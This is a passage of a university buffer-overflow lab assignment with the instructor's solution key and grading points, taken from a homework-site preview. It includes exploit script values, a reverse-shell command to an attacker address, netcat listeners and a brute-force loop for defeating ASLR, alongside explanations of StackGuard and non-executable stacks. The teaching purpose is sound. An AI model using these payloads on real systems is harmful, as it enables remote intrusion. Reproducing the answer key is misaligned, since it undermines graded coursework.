When a benign message is sent to this server, you will see the
following messages printed out by the target container (the actual messages you see may be different).
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C
// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffdb88
// NOTE 1
server-1-10.9.0.5 | Buffer’s address inside bof(): 0xffffdb18
// NOTE 2
server-1-10.9.0.5 | ==== Returned Properly ====
The server will accept up to
517
bytes of the data from the user, and that will cause a buffer overflow.
Your job is to construct a payload to exploit this vulnerability. If you save your payload in a file, you
can send the payload to the server using the following command.
$ cat <file> | nc 10.9.0.5 9090
If the server program returns, it will print out “
Returned Properly
”. If this message is not printed out,
the stack program has probably crashed.
The server will still keep running, taking new connections.
For this problem, two pieces of information essential for buffer-overflow attacks are printed out as hints:
the value of the frame pointer and the address of the buffer (lines marked by
NOTE 1
and
NOTE 2
). The
frame pointer register is called
ebp
for the x86 architecture and
rbp
for the x64 architecture. You can
use these two pieces of information to construct your payload.
(a) [10 points] To exploit the buffer-overflow vulnerability in the target program, you need to prepare
a payload, and save it inside a file (in this assignment document, this file is called
badfile
). You
can use a Python program to do that.
A skeleton program called
exploit.py
(shown below) is
included in the
attack-code
folder in the setup files on Brightspace. The code is incomplete, and
you need to replace some of the essential values in the code.
1
#!/usr/bin/python3
2
import
sys
3
# You can copy and paste the shellcode from Problem 1
4
shellcode = (
5
""
#
⋆
NEED TO CHANGE
⋆
6
).encode(
’latin-1’
)
7
8
# Fill the content with NOP’s
9
content =
bytearray
(0x90
for
i
in range
(517))
10
11
##################################################################
12
# Put the shellcode somewhere in the payload
13
start= 0
#
⋆
NEED TO CHANGE
⋆
14
content[start:start +
len
(shellcode)] = shellcode
15
16
# Decide the return address value
17
# and save it somewhere in the payload
18
ret = 0xAABBCCDD
#
⋆
NEED TO CHANGE
⋆
Page 16 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
19
offset = 0
#
⋆
NEED TO CHANGE
⋆
20
21
# Use L=4 for 32-bit address and L=8 for 64-bit address
22
L = 4
23
content[offset:offset + L] = (ret).to_bytes(L,byteorder=
’little’
)
24
##################################################################
25
# Write the content to a file
26
with
open
(
’badfile’
,
’wb’
) as f:
27
f.write(content)
After you finish the above program, run it. This will generate the contents for
badfile
. Then, feed
badfile
to the vulnerable server. If your exploit is implemented correctly, the command you put
inside your shellcode will be executed.
If your command generates some outputs, you should be
able to see them from the container window.
$./exploit.py
// create the badfile
$ cat badfile | nc 10.9.0.5 9090
In your assignment report, please be sure to explain
all
steps taken to conduct the attack and
provide appropriate screenshots to show that you can successfully get the vulnerable server to run
your commands.
Solution:
Award 1 point for demonstrating that a benign hello message was sent to the server.
Award 2 points for determining where to put the shellcode in the buffer (1 point for code,
1 point for explanation).
Award 2 points for determining the appropriate return address (1
point for code, 1 point for explanation). Award 2 points for determining the appropriate offset
(1 point for code, 1 point for explanation).
Award 1 point for selecting L=4 for the 32-bit
address case in the code. Award 2 points for demonstrating the successful attack a reasonable
explanation of the observations and appropriate code snippets and/or screenshots.
Students should begin by sending a benign hello message to the server. This will allow them to
determine the values of the frame pointer (
ebp
) and the address of the buffer
&buffer
. Using
this information, students should make the following modifications to construct
exploit-L1.py
.
# Put the shellcode at the end
start = 517 -
len
(shellcode)
content[start:start +
len
(shellcode)] = shellcode
# From server printout: ebp = 0xffffd1d8
ret
= 0xffffd1d8 + 8
# From server printout: $ebp - &buffer = 112
offset = 112 + 4
L = 4
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder=
’little’
)
After running the exploit program, students should see the result of their shellcode command
on the server’s console. Students should demonstrate the steps and outcomes of their attacks
with suitable screenshots and explanations.
Note that there is some randomness in the program, so different students are likely to see
different values for the buffer address and frame pointer.
Page 17 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
(b) [5 points] For the training program,
SecureTech Industries
is not interested in running specific
pre-determined commands. Instead, they want the trainees to be able to get a root shell on the
target server, so they can type any command they want. Since you are on a remote machine, if you
simply get the server to run
/bin/sh
, you won’t be able to control the shell program. A reverse
shell is a typical technique to solve this problem. Section
2.3
provides detailed instructions on how
to run a reverse shell. Please modify the command string in your shellcode, so you can get a reverse
shell on the target server. Please provide appropriate screenshots to show that you can successfully
get a reverse shell.
NOTE
: Please remember to start a
netcat
server (see Section
2.3
) in a separate terminal window
on the VM (i.e., the attacker machine).
Solution:
Award 1 point for explaining the changes to the shellcode with the revsere shell
command.
Award 1 point for explaining that a
netcat
server was started with appropriate
code snippets and/or screenshots.
Award 1 point for explaining the steps to conduct the
attack. Award 2 points for demonstrating the successful attack a reasonable explanation of the
observations and appropriate code snippets and/or screenshots.
Students should replace the command in their shellcode with the following reverse shell command:
"/bin/bash -i >/dev/tcp/10.9.0.1/9090 0<&1 2>&1
*"
Before running the
exploit-L1.py
script again, students need to start the
netcat
server
(using
nc -nv -l 9090
) in a separate terminal. After running the
exploit-L1.py
script again,
students should observe that as soon as we send the payload is sent to the server, a callback is
received from the server, and it shows that we get a root shell on the server machine (
10.9.0.5
).
Students should demonstrate the steps and outcomes of their attacks with suitable screenshots
and explanations.
Problem 3
[10 points]
Attacking a 32-bit Server Program: Knowing the Range of the Buffer Size (Level-2):
In this problem, we are going to increase the difficulty of the attack a little bit by not displaying an
essential piece of the information.
The target server is
10.9.0.6
(the port number is still
9090
, and
the vulnerable program is still a 32-bit program).
When a benign message is sent to this server, you
will see the following messages printed out by the target container (the actual messages you see may be
different).
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.6 9090
Ctrl+C
// Messages printed out by the container
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer’s address inside bof(): 0xffffda3c
server-2-10.9.0.6 | ==== Returned Properly ====
As you can see, the server only gives the address of the buffer; it does not reveal the value of the frame
pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability
more difficult than the Level-1 attack in Problem 2. To simplify the task, we assume that the the range
of the buffer size is known. Another fact that may be useful to you is that, due to the memory alignment,
the value stored in the frame pointer is always multiple of four (for 32-bit programs).
Range of the buffer size (in bytes): [100, 300]
Page 18 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Your job is to construct one payload to exploit the buffer overflow vulnerability on the server, and get a
root shell on the target server (using the reverse shell technique). Please note that you are only allowed
to construct one payload that works for any buffer size within this range. You will not get full points if
you use a brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will
be detected and defeated by the victim. That’s why minimizing the number of trials is important for
attacks.
In your assignment report, please be sure to explain
all
steps taken to conduct the attack, clearly state
and describe the method that you used, and provide appropriate screenshots to show that you can
successfully get the vulnerable server to run your commands.
Solution:
Award 1 point for demonstrating that a benign hello message was sent to the server.
Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point
for explanation). Award 2 points for determining the appropriate return address (1 point for code,
1 point for explanation). Award 2 points for determining the appropriate offset using the
spraying
method (1 point for code, 1 point for explanation). Award 1 point for explaining that a
netcat
server
was started with appropriate code snippets and/or screenshots. Award 2 points for demonstrating
the successful attack a reasonable explanation of the observations and appropriate code snippets
and/or screenshots.
Students should begin by sending a benign hello message to the server.
This will allow them to
determine the value of the address of the buffer (
&buffer
). Theywill notice that without the value
fo the frame pointer it is difficult to know the size of the buffer, so it is difficult to know exactly
where to place the return address. Students are expected to use the
spraying
technique described
in Section
2.1.3
.
Students need to put the shellcode near the end of the buffer, so choosing an offset of
300
(
students
may choose different values that work
) should hit one of the
NOP
s, which will eventually reach the
shellcode. Therefore, students can add
300
to the buffer’s address, and use the result as the return
address. Using this information, students should the make the following modifications to construct
exploit-L2.py
.
# Put the shellcode at the end
start = 517 -
len
(shellcode)
content[start:start +
len
(shellcode)] = shellcode
# From server printout: &buffer = 0xffffd118
# Add 300, this gives us one of the entry points for the shellcode
ret = 0xffffd118 + 300
# Spray the buffer with the return address, from 0 to 50*4.
# One of them should be the actual return address field.
# If the range changes, we need to adjust the range value.
for
offset
in range
(50):
content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder=
’little’
)
Before running the
exploit-L2.py
script, students need to start the
netcat
server (using
nc -nv
-l 9090
) in a separate terminal. After running the
exploit-L2.py
script, students should observe
that as soon as we send the payload is sent to the server, a callback is received from the server, and
it shows that we get a root shell on the server machine (
10.9.0.6
).
Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and
explanations.
Page 19 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Problem 4
[11 points]
Attacking a 64-bit Server Program: Knowing the Buffer Size and Address (Level-3):
In the previous problems, the target servers were running 32-bit programs. In this problem, the target
is
10.9.0.7
, which runs the 64-bit version of the stack program. When a benign message is sent to this
server, you will see the following messages printed out by the target container (the actual messages you
see may be different).
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.7 9090
Ctrl+C
// Messages printed out by the container
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0
server-3-10.9.0.7 | Buffer’s address inside bof(): 0x00007fffffffe070
server-3-10.9.0.7 | ==== Returned Properly ====
You can see the values of the frame pointer and buffer’s address become 8 bytes long (instead of 4 bytes
in 32-bit programs). Your job is to construct a payload to exploit the buffer overflow vulnerability of
the server. You ultimate goal is to get a root shell on the target server. You can use the shellcode from
Problem 1, but you need to use the 64-bit version of the shellcode.
Compared to buffer-overflow attacks on 32-bit machines, attacks on 64-bit machines are more difficult.
The most difficult part is the address. Although the x64 architecture supports 64-bit address space, only
addresses from
0x00
through
0x00007FFFFFFFFFFF
are allowed. That means for every address (8 bytes),
the highest two bytes are always zeros. This causes a problem.
In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload
will be copied into the stack via
strcpy()
.
We know that the
strcpy()
function will stop copying
when it sees a zero. Therefore, if a zero appears in the middle of the payload, the content after the zero
cannot be copied into the stack. How to solve this problem is the most difficult challenge in this attack.
Remember to carefully describe how you solve this problem in your assignment report.
In your assignment report, please be sure to explain
all
steps taken to conduct the attack and provide
appropriate screenshots to show that you can successfully get the vulnerable server to run your commands.
NOTE
: Please remember to copy and paste the 64-bit shellcode into the exploit code!
Solution:
Award 1 point for demonstrating that a benign hello message was sent to the server.
Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point
for explanation). Award 2 points for determining the appropriate return address (1 point for code,
1 point for explanation). Award 2 points for determining the appropriate offset (1 point for code,
1 point for explanation). Award 1 point for selecting L=8 for the 64-bit address case in the code.
Award 1 point for explaining that a
netcat
server was started with appropriate code snippets and/or
screenshots. Award 2 points for demonstrating the successful attack a reasonable explanation of the
observations and appropriate code snippets and/or screenshots.
Students should begin by sending a benign hello message to the server.
This will allow them to
determine the values of the frame pointer (
rbp
) and the address of the buffer
&buffer
.
If the
buffer’s return address contains zero, you cannot put the shellcode at the end, because the zero of
the address will terminate the
strcpy()
. Instead, students should put the shellcode inside the buffer
(near the beginning), before they put the return address. Then they can jump to the beginning of
the buffer, which contains
NOP
s which will eventually lead to the shellcode. Using this information,
students should make the following modifications to construct
exploit-L3.py
.
Page 20 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
# Put the shellcode near the beginning of the buffer
start = 40
content[start:start+
len
(shellcode)] = shellcode
# From server: &buffer = 0x00007fffffffdff0
# From server: $rbp - &buffer = 208
ret
= 0x7fffffffdff0
offset = 208 + 8
L = 8
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder=
’little’
)
In this example solution, it should be noted that there are two zeros in
ret
’s value. Fortunately, for
a Little-Endian machine, the zeros are put at the higher address like this:
f0 df ff ff ff 7f 00
00
(from how to high). The
strcpy()
function will copy up to
7f
; anything after that will not be
copied to the buffer inside
bof
. This is the reason why we put everything, including the shellcode,
before the return address.
Before running the
exploit-L3.py
script, students need to start the
netcat
server (using
nc -nv
-l 9090
) in a separate terminal. After running the
exploit-L3.py
script, students should observe
that as soon as we send the payload is sent to the server, a callback is received from the server, and
it shows that we get a root shell on the server machine (
10.9.0.7
).
Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and
explanations.
Problem 5
[11 points]
Attacking a 64-bit Server Program: Dealing with a Small Buffer (Level-4):
The server in this task is similar to that in the Level-3 attack in Problem 4, except that the buffer size
is much smaller. The target for this problem is
10.9.0.8
. When a benign message is sent to this server,
you will see the following messages printed out by the target container (the actual messages you see may
be different).
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.8 9090
Ctrl+C
// Messages printed out by the container
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0
server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe190
server-4-10.9.0.8 | ==== Returned Properly ====
From the printout, you can see the distance between the frame pointer and the buffer’s address is only
about 32 bytes (the actual distance may be different). In Problem 4, the distance was much larger. In
this problem, your goal is the same: get a root shell on this server. The server still takes in 517 bytes of
input data from the user.
In your assignment report, please be sure to explain
all
steps taken to conduct the attack and provide
appropriate screenshots to show that you can successfully get the vulnerable server to run your commands.
Page 21 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
HINT
: To solve this problem, you need to think about what the layout of the execution stack for the
vulnerable
stack.c
looks like. You can look at the
stack.c
code in the
server-code
folder of the setup
files for this assignment for some hints.
Solution:
Award 1 point for demonstrating that a benign hello message was sent to the server.
Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point
for explanation). Award 2 points for determining the appropriate return address (1 point for code,
1 point for explanation). Award 2 points for determining the appropriate offset (1 point for code,
1 point for explanation). Award 1 point for selecting L=8 for the 64-bit address case in the code.
Award 1 point for explaining that a
netcat
server was started with appropriate code snippets and/or
screenshots. Award 2 points for demonstrating the successful attack a reasonable explanation of the
observations and appropriate code snippets and/or screenshots.
Students should begin by sending a benign hello message to the server.
This will allow them to
determine the values of the frame pointer (
rbp
) and the address of the buffer
&buffer
. Suppose we
see the following results:
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe0c0
server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe060
We can see that the distance between
rbp
and
buffer
is only 96 bytes. This is too small to hold
the shellcode (the size of the shellcode is about 160 bytes).
Therefore, the technique used in the
previous problem (Level-3) does not work for this attack, so we need to find another way to put the
shellcode in the buffer.
Actually, the shellcode is already on the stack, but it is in the main function’s stack frame, not in
bof()
. Therefore, we just need to set the return address to the main function’s stack frame. This
requires some calculation.
There is a dummy stack frame between
bof()
and
main()
corresponding to
dummy_function()
in
stack.c
, and its size is about
1000
bytes. Therefore, we can add
1200
to the
rbp
value (
students
may have to try different values here
). That should land inside the input buffer, hitting one of the
NOP
s which will eventually lead to the shellcode. Using this information, students should make the
following modifications to construct
exploit-L4.py
.
# Put the shellcode at the end
start = 517 -
len
(shellcode)
content[start:start +
len
(shellcode)] = shellcode
# From server: $rbp = 0x00007fffffffe0c0
ret = 0x7fffffffe0c0 + 1200
# From server: $rbp - &buffer = 96
offset = 96 + 8
L = 8
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder=
’little’
)
Before running the
exploit-L4.py
script, students need to start the
netcat
server (using
nc -nv
-l 9090
) in a separate terminal. After running the
exploit-L4.py
script, students should observe
that as soon as we send the payload is sent to the server, a callback is received from the server, and
it shows that we get a root shell on the server machine (
10.9.0.8
).
Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and
explanations.
Page 22 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Problem 6
[8 points]
Experimenting with the Address Randomization:
At the beginning of this assignment, we turned
off one of the countermeasures, the Address Space Layout Randomization (ASLR). In this problem, we
will turn it back on, and see how it affects the attack. You can run the following command on your VM
to enable ASLR. This change is global, and it will affect all the containers running inside the VM.
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
(a) [5 points] Send a
hello
message to the Level-1 and Level-3 servers, and do it multiple times.
In your assignment report, please describe your observations, and explain why ASLR makes a
buffer-overflow attack more difficult. Do not forget to show that address randomization is turned
on and to include screenshots of your observations to aid in your explanation.
HINT
: Make sure you are using the reverse shell command in the shellcode instead of an
echo
command. The
echo
command will not block, so even if the attack succeeds, it will be hard for you
to know. The reverse shell command will block if it is successfully executed.
Solution:
Award 1 point for demonstrating that address randomization is turned on. Award 1
point for executing the attack multiple times on each of the Level-1 server.
Award 1 point
for executing the attack multiple times on each of the Level-3 server.
Award 2 points for a
reasonable explanation of the observations with appropriate code snippets and/or screenshots.
Students should show that they have enabled the address randomization.
Students should
generate
badfile
using
exploit-L1.py
and
exploit-L3.py
. They should make sure that the
reverse shell command is used.
Students should observe that they are unable to get a root shell this time and the program should
return a
Segmentation fault
error. Due to address randomization, each time the program is
executed, the stack begins at a different location in the virtual address space of the program.
This causes the program to generate a different
buffer
address. In each program execution,
when the buffer overflow talkes place, it overwrites the return address with a hard-coded address.
With address randomization turned off, this is the address of one of the
NOP
instructions. When
address randomization is turned on, this address could refer to some other region of the virtual
address space, like the code region, the kernel region, etc. This causes the program to crash
with
Segmentation fault
when it jumps to that address on return of the
bof()
function.
Students should provide adequate explanation of their process and results with appropriate
code snippets and/or screenshots.
(b) [3 points] It was reported that on 32-bit Linux machines, only 19 bits can be used for address
randomization.
That is not enough, and an attacker can easily hit the target if the attack is
conducted for a sufficient number of times.
For 64-bit machines, the number of bits used for
randomization is significantly increased.
In this problem, you will give it a try on the 32-bit Level-1 server. You can use a brute-force approach
to attack the server repeatedly, hoping that the address we put in our payload can eventually be
correct.
Make sure to use the payload from the Level-1 attack (Problem 2).
You can use the
following shell script to run the vulnerable program in an infinite loop. If you get a reverse shell,
the script will stop; otherwise, it will keep running. If you are not so unlucky, you should be able
to get a reverse shell within 10 minutes. Please describe your observation. Do not forget to include
appropriate code snippets and/or screenshots.
NOTE
: You may need to change the permissions of the script (using
chmod
) so it can be executed.
#!/bin/bash
SECONDS=0
value=0
Page 23 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
while true
;
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo
"$min minutes and $sec seconds elapsed."
echo
"The program has been running $value times so far."
cat
badfile | nc 10.9.0.5 9090
done
Solution:
Award 1 point for running the script to conduct a brute-force attack on the vulnerable
program. Award 2 points for a reasonable explanation of the observations with appropriate code
snippets and/or screenshots.
To defeat address randomization, students should run
brute_force.sh
. After some time, the
program gets blocked.
On executing the given script and look at the
nc
window, students
should observe that after running the program many times, they should be able to obtain a
root shell.
This is because out of several tries, during one of the tries, the stack will begin
at the address where it begins when the randomization is turned off. Students should provide
adequate screenshots and/or explanation showing how many times the script executed and the
elapsed time taken to succeed in the attack.
Problem 7
[5 points]
Experimenting with the
StackGuard
Protection:
Many compilers, such as
gcc
, implement a
security mechanism called
StackGuard
to prevent buffer overflows. In the presence of this protection,
buffer overflow attacks will not work. The provided vulnerable programs were compiled without enabling
the StackGuard protection. In this problem, you will turn it on and see what happens.
Please go to the
server-code
folder, remove the
-fno-stack-protector
flag from the
gcc
flag, and
compile
stack.c
. In this problem, you will only use
stack-L1
, but instead of running it in a container,
you should directly run it from the command line. Create a file that can cause a buffer overflow, and
then feed the content of the file to
stack-L1
using the command below:
$ ./stack-L1 < badfile
Please describe and explain your observations. You may report any error messages you observe. Do not
forget to explain
all
of your steps and to include appropriate code snippets and/or screenshots so that
someone reading your report will know what to expect when repeating your experiment.
NOTE
: Before working on this problem, remember to turn off the address randomization first (see
Section
3.1
), or you will not know which defense mechanism helps achieve the protection.
Solution:
Award 1 point for explaining how to compile
stack-L1
. Award 1 point for explaining
how the
badfile
was created.
Award 1 point for showing what happens when the program is
executed. Award 2 points for a reasonable explanation of the observations with appropriate code
snippets and/or screenshots.
Students should create
badfile
using
exploit-L1.py
.
Students should explain how
stack-L1
was obtained from
stack.c
compiled without the
-fno-stack-protector
option which will enable
StackGuard
. Students should observe that they are unable conduct an attack and that they receive
a message stating
*** stack smashing detected ***
.
With the
StackGuard
enabled, there is a special value added before the return address in the stack
frame. Before the program uses the return address to return from the
bof()
function, the value will
Page 24 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
be compared to a global variable stored in the GS segment. If the values mismatch due to a buffer
overflow, the system will crash the program.
This is why the program crashes with the message
*** stack smashing detected ***
indicating that the
StackGuard
was able to recognize a buffer
overflow situation.
Students should demonstrate their findings with suitable screenshots and explanations.
Problem 8
[5 points]
Experimenting with the Non-executable Stack Protection:
Operating systems used to allow
executable stacks, but this has now changed: In the Ubuntu OS, the binary images of programs (and
shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark
a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make
the stack of this running program executable or non-executable. This marking is done automatically by
the gcc, which by default makes stack non-executable. We can specifically make it non-executable using
the
-z noexecstack
flag in the compilation. In the previous problems, we used
-z execstack
to make
stacks executable.
In this problem, you will make the stack non-executable.
You should conduct this experiment in the
shellcode
folder from the setup files. The
call_shellcode
program puts a copy of
shellcode
on the
stack, and then executes the code from the stack. Please recompile
call_shellcode.c
into
a32.out
and
a64.out
, using the
-z noexecstack
option. Run them, and describe and explain your observations. In
particular, explain whether or not you were able to get a shell. If not, explain the problem by describing
how this protection scheme make your attacks difficult. Do not forget to explain
all
of your steps and
to include appropriate code snippets and/or screenshots.
NOTE
: Before working on this problem, remember to turn off the address randomization first (see
Section
3.1
), or you will not know which defense mechanism helps achieve the protection.
Solution:
Award 1 point for explaining how the
call_shellcode.c
was recompiled. Award 1 point
for showing what happens when
a32.out
is executed.
Award 1 point for showing what happens
when
a64.out
is executed. Award 2 points for a reasonable explanation of the observations with
appropriate code snippets and/or screenshots.
Students should explain how
call_shellcode.c
using the
-z noexecstack
option. Students should
execute both
a32.out
and
a64.out
. Students should observe that since the stack is not executable,
even if we overflow the buffer and attempt to jump to the target executable instruction address, the
CPU will not execute it.
More specifically, when the program is compiled with a non-executable stack, it should terminate
with a
Segmentation fault
. This is because when the CPU attempts to execute instructions from
a non-executable memory, the memory management unit (MMU) checks the execute permission
and generates a trap when not found.
When the operating system receives this trap, it sends a
Segmentation fault
signal to the process that causes the program termination.
Students should demonstrate their findings with suitable screenshots and explanations.
Page 25 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Part IV
Summary of Findings
1
Reminder: Obligations
At the end of this assignment, you will be required to deliver the following information and outcomes:
1. A report that can act as a training manual for new hires to better understand buffer overflow
vulnerabilities, attacks, and countermeasures.
The report should be a complete walkthrough
providing a detailed explanation of all of the steps involved in carrying out the various activities
and tasks that will be part of the penetration testing training program module related to buffer
overflows.
2. A summary of the main take-away points of the training module, including a list of recommendations
(“do’s and don’ts”), so that the trainees can be better prepared to protect their programs from buffer
overflow vulnerabilities.
2
Problems and Tasks
Problem 9
[10 points]
Recommendations:
Summarize the take-away points for the
SecureTech Industries
trainees after
having conducted all of the other activities and tasks in your training module.
Be sure to clearly
state what they should remember about buffer overflow vulnerabilities and attacks, and the various
countermeasures that can be used to protect programs from buffer overflow. Do not forget to summarize
any ways which buffer overflow countermeasures can be defeated. Provide a short list of recommendations
(“do’s and don’ts”) so that the trainees can be better prepared to carry out attacks exploiting buffer
overflow vulnerabilities as well as to protect their programs from buffer overflow vulnerabilities.
HINT:
You may want to refer to specific observations from your experiments obtained in the problems
and tasks in this assignment to support your summary and recommendations.
Solution:
Award 5 points for a suitable summary of the take-away points.
Award 5 points for
suitable recommendations.
Students may have many different answers.
Points should be awarded for a reasonable summary
and recommendations.
END OF ASSIGNMENT
Page 26 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
Related Documents
Recommended textbooks for you
Programming Logic & Design Comprehensive
Computer Science
ISBN:9781337669405
Author:FARRELL
Publisher:Cengage
Np Ms Office 365/Excel 2016 I Ntermed
Computer Science
ISBN:9781337508841
Author:Carey
Publisher:Cengage

Principles of Information Systems (MindTap Course...
Computer Science
ISBN:9781285867168
Author:Ralph Stair, George Reynolds
Publisher:Cengage Learning

Fundamentals of Information Systems
Computer Science
ISBN:9781337097536
Author:Ralph Stair, George Reynolds
Publisher:Cengage Learning

Principles of Information Systems (MindTap Course...
Computer Science
ISBN:9781305971776
Author:Ralph Stair, George Reynolds
Publisher:Cengage Learning

Programming with Microsoft Visual Basic 2017
Computer Science
ISBN:9781337102124
Author:Diane Zak
Publisher:Cengage Learning
Recommended textbooks for you
- Programming Logic & Design ComprehensiveComputer ScienceISBN:9781337669405Author:FARRELLPublisher:CengageNp Ms Office 365/Excel 2016 I NtermedComputer ScienceISBN:9781337508841Author:CareyPublisher:CengagePrinciples of Information Systems (MindTap Course...Computer ScienceISBN:9781285867168Author:Ralph Stair, George ReynoldsPublisher:Cengage Learning
- Fundamentals of Information SystemsComputer ScienceISBN:9781337097536Author:Ralph Stair, George ReynoldsPublisher:Cengage LearningPrinciples of Information Systems (MindTap Course...Computer ScienceISBN:9781305971776Author:Ralph Stair, George ReynoldsPublisher:Cengage LearningProgramming with Microsoft Visual Basic 2017Computer ScienceISBN:9781337102124Author:Diane ZakPublisher:Cengage Learning
Programming Logic & Design Comprehensive
Computer Science
ISBN:9781337669405
Author:FARRELL
Publisher:Cengage
Np Ms Office 365/Excel 2016 I Ntermed
Computer Science
ISBN:9781337508841
Author:Carey
Publisher:Cengage

Principles of Information Systems (MindTap Course...
Computer Science
ISBN:9781285867168
Author:Ralph Stair, George Reynolds
Publisher:Cengage Learning

Fundamentals of Information Systems
Computer Science
ISBN:9781337097536
Author:Ralph Stair, George Reynolds
Publisher:Cengage Learning

Principles of Information Systems (MindTap Course...
Computer Science
ISBN:9781305971776
Author:Ralph Stair, George Reynolds
Publisher:Cengage Learning

Programming with Microsoft Visual Basic 2017
Computer Science
ISBN:9781337102124
Author:Diane Zak
Publisher:Cengage Learning